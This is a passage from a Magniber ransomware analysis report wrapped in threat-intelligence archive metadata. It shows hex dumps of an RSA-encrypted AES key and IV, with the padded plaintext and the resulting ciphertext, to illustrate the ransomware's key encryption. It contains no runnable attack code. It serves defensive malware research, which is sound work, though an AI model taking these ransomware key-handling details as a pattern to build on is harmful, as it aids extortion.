e7 bf e9 65 39\nc3 f6 53 fa 70 96 11 15 a5 50 75 76 e7 31 94 53 7c e6 5a bb 75 19 7a 6f 21 3b e0 db 42 cb 9f c7 d2 04\n80 70 e8 83 d5 35 1e a7 40 ef d6 42 8c 2e 5e de f0 c9 51 fe 80 0f 6b 0b 16 13 3e 2b f1 e2 12 d9 58 8b\n18 47 77 b2 2f 83 53 d6 a9 74 99 18 e2 ec 14 36 d1 6a bd 5c 00 77 ae 7f 52 26 7b e9 04 02 a8 e1 12 53\n50 6c b8 34 2d da 11 bd c6 c4 b7 d9 19 02 16 9b 32 b4 1f 15   \nContent to be encrypted: random AES key + IV (hilighted) + padding:   \nm = 00 02 ab 7e 91 79 c1 59 64 2f 7e af 7f c1 59 eb 13 7e af 7f 33 59 b3 0f 79 a1 1d 31 37 b3 0f 8f\n9d 1d 35 81 c3 0f 6f 91 ab e1 81 64 41 6f 91 79 e1 81 64 2f 7e 91 7f 33 59 eb 13 79 af 7f 33 37 b3 13\n35 59 e7 72 41 f7 eb e5 f4 fb 72 41 f7 93 39 f4 fb ab eb f7 6f 91 ab e1 81 64 41 6f 91 79 c1 81 64 13\n7e af 7f 33 72 41 f7 93 e5 f4 fb ab eb 41 6f 91 ab e1 81 64 41 6f 91 79 e1 81 64 2f 7e cd 99 e7 09 97\n33 3d 61 3f 79 45 97 33 93 e5 f4 fb ab 41 f7 93 39 ab fb 81 64 41 6f 91 79 c1 81 64 13 7e af 7f 33 37\neb 13 8f a1 1d 31 55 b3 0f 6c e7 c3 35 81 cb cb 6c e7 5d 5b 20 99 b3 ab 83 90 15 69 05 b3 49 5b 8f 62\n59 79 0f 49 b3 15 7f 63 41 6c e7 5d 33 20 99 41 ab 33 5d 33 a7 00 f7 93 39 ab e1 81 64 13 7e af 7f 31\n37 b3 cb 6c e7 63 3d 05 b3 4b b3 8f 62 6b 59 e9 61 09 f3 33   \nThe resulting ciphertext:      \nc = 11 2d 19 b0 82 4b 0b 24 88 e8 b7 db 00 1e 84 ef 92 6a b6 1c f2 90 49 df 42 e3 f2 c9 1a e0 9d 92\n52 24 00 ad 09 5b 0a 85 0d 68 20 a2 ed 48 f1 2e 88 23 70 d5 d8 15 57 58 ef 94 34 9a 4c 12 79 0f 42 3c\nbc 5b 0a d1 5b 25 97 ce 67 8a d2 90 4a 87 e1 a8 6c 01 ca 1e 27 f9 4c 62 2a eb 58 89 d9 0e 02 65 9f 42\ndb 03 f1 7c bf d8 6f eb 09 42 e6 13 d6 e8 82 d6 05 7c c2 26 90 1c 89 2c 70 25 17 a0 7f 23 a1 4e b8 5a\n16 f4 53 f8 aa 72 b1 2e 9b 04 1c 4e 33 a3 96 be f1 6f 0e 81 c5 91 3e 49 a2 0e cd 47 75 33 0d 67 6d f9\n01 79 8d 43 3b bb 07 ac cf 12 ef ef eb 87 77 4b 9a fa 98 48 d5 1f cf 43 47 05 7f 6b da 16 f3 57 a7 39\nf0 78 ec db a6 7e db 64 33 1c a6 b6 a0 8c 3c e5 8a d0 e6 ec da c5 b5 41 69 78 b5 e6 e1 f1 73 6e 5f d6\nf7 69 64 16 32 1a ac 02 ee 5e 34 0f 7d f2 d0 cc 3b 55 10 60   \nReproducing the steps with a public tool, at: https://www.boxentriq.com/code-breaking/modular-exponentiation    :\n   Page 37 of 47",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/"
	],
	"report_names": [
		"magniber-ransomware-analysis"
	],
	"threat_actors": [],
	"ts_created_at": 1775434104,
	"ts_updated_at": 1775791258,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/56d2cf1b98c56e52d546257f9abb97d641344869.pdf",
		"text": "https://archive.orkl.eu/56d2cf1b98c56e52d546257f9abb97d641344869.txt",
		"img": "https://archive.orkl.eu/56d2cf1b98c56e52d546257f9abb97d641344869.jpg"
	}
}